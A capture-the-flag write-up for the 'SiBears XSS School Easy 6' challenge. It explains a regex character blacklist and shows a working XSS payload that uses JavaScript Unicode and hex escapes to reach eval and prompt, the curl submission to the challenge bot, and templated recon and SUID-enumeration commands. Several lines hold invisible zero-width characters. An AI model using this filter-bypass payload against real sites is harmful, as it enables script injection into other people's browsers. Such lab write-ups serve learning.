← Back to Writeups
HTBN/AWeb

Easy 6 - SiBears XSS School

XESXOR8/23/20264 min read
#web#htb#n/a

Easy 6 - SiBears XSS School

Platform: Spfctf | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-15 | Status: Solved Techniques: blacklist_bypass_via_encoding, comment_injection, hex_escape_in_strings, string_context_breakout, unicode_escape_in_identifiers

Summary

Task: XSS challenge with regex character blacklist filtering letters p,r,o,m,t,e and brackets. Solution: Bypass using JavaScript Unicode escapes (\u0065val) in identifiers and hex escapes (\x70) in strings to call eval(prompt("sibears")).

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: spfctf | ID: 20260315_spfctf_easy6
  • Tags: filter_bypass, xss, javascript, eval, unicode_escape, hex_escape, sibears, character_blacklist
  • Indicators: regex character blacklist, injection into script tag, blocked letters but unicode escapes allowed, eval/prompt blocked but \u escapes work
  • Source: 20260315_spfctf_easy6.md

Foothold

Vulnerability / Misconfiguration

  1. Blacklist_bypass_via_encoding
  2. Comment_injection
  3. Hex_escape_in_strings
  4. String_context_breakout
  5. Unicode_escape_in_identifiers
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • blacklist_bypass_via_encoding
  • comment_injection
  • hex_escape_in_strings
  • string_context_breakout
  • unicode_escape_in_identifiers
  • Tags: filter_bypass, xss, javascript, eval, unicode_escape, hex_escape, sibears, character_blacklist

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Attack our bot to get the flag! Solve the SiBears XSS level and submit your payload to this page.

Challenge URL: http://109.233.56.90:11659/xss/easy/6

The challenge is from the SiBears XSS School (xss.school.sibears.ru). The page at /xss/easy/6 contains a JavaScript escape function that filters user input and injects it into a <script> tag. A separate form at /xss/easy/6/form accepts a payload, which is sent to a bot that evaluates it. The goal is to execute prompt("sibears") in the browser. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Analysis

The Escape Function

function escape(s) {
  if (/p|r|o|m|t|e|\[|\]|!/i.test(s)) {
    s = '';
  }
  return '<script> var a = "' + s + '";</scr' + 'ipt>';  
}

The filter blocks (case-insensitive) the characters: p, r, o, m, t, e, [, ], !

This means:

  • Can't write prompt, eval, setTimeout, Function, document, window, self, this, alert, constructor, etc. directly
  • Can't use bracket notation [] for property access
  • Can't use ! for logical NOT
  • Can't close </script> tag in input since it contains blocked letters ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Available Characters

Letters: a b c d f g h i j k l n q s u v w x y z (and uppercase equivalents) All digits, and symbols: " ' \ ; + - * / = ( ) { } . , : ? & | ^ ~ < > @ # $ % _ and backtick

Solution

Key Insight 1: JavaScript Unicode Escapes in Identifiers

JavaScript allows Unicode escape sequences (\uXXXX) in identifier names. The characters \, u, 0, 6, 5 are all allowed by the filter. So \u0065val is parsed by the JS engine as eval — but the regex only sees the raw characters and doesn't match any blocked letter. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Insight 2: Hex Escapes in JS Strings

Inside a JavaScript string, \xNN hex escapes produce arbitrary characters. The raw characters \, x, and hex digits are all allowed by the filter. So "\x70\x72\x6f\x6d\x70\x74" is the string "prompt" but contains no blocked characters in the source.

Crafting the Payload

";\u0065val("\x70\x72\x6f\x6d\x70\x74(\x22sib\x65a\x72s\x22)");//

After injection into the template, the browser sees:

<script> var a = "";\u0065val("\x70\x72\x6f\x6d\x70\x74(\x22sib\x65a\x72s\x22)");//";</script>

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Which the JS engine interprets as:

var a = "";
eval("prompt(\"sibears\")");
//";

Breakdown

  1. " — closes the string started by the template
  2. ; — ends the var a statement
  3. \u0065val(...) — JS Unicode escape: \u0065 = e, so this is eval(...)
  4. "\x70\x72\x6f\x6d\x70\x74(\x22sib\x65a\x72s\x22)" — hex-escaped string that decodes to prompt("sibears")
  5. ;// — semicolon ends the eval statement, // comments out the trailing "; from the template

Hex Encoding Reference

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

CharacterHex Code
p\x70
r\x72
o\x6f
m\x6d
t\x74
e\x65
"\x22

Submission

The payload was URL-encoded and POSTed to the form endpoint:

curl -s -X POST 'http://109.233.56.90:11659/xss/easy/6/form' \
  -d 'code=%22%3B%5Cu0065val(%22%5Cx70%5Cx72%5Cx6f%5Cx6d%5Cx70%5Cx74(%5Cx22sib%5Cx65a%5Cx72s%5Cx22)%22)%3B%2F%2F'

The server redirected to a checker page which confirmed: State is SUCCESS

Verification

Confirmed that the regex does NOT match the raw payload: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

/p|r|o|m|t|e|\[|\]|!/i.test('";\u0065val("\x70\x72\x6f\x6d\x70\x74(\x22sib\x65a\x72s\x22)");//')
// → false (when tested as raw/literal string, not JS-interpreted)

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR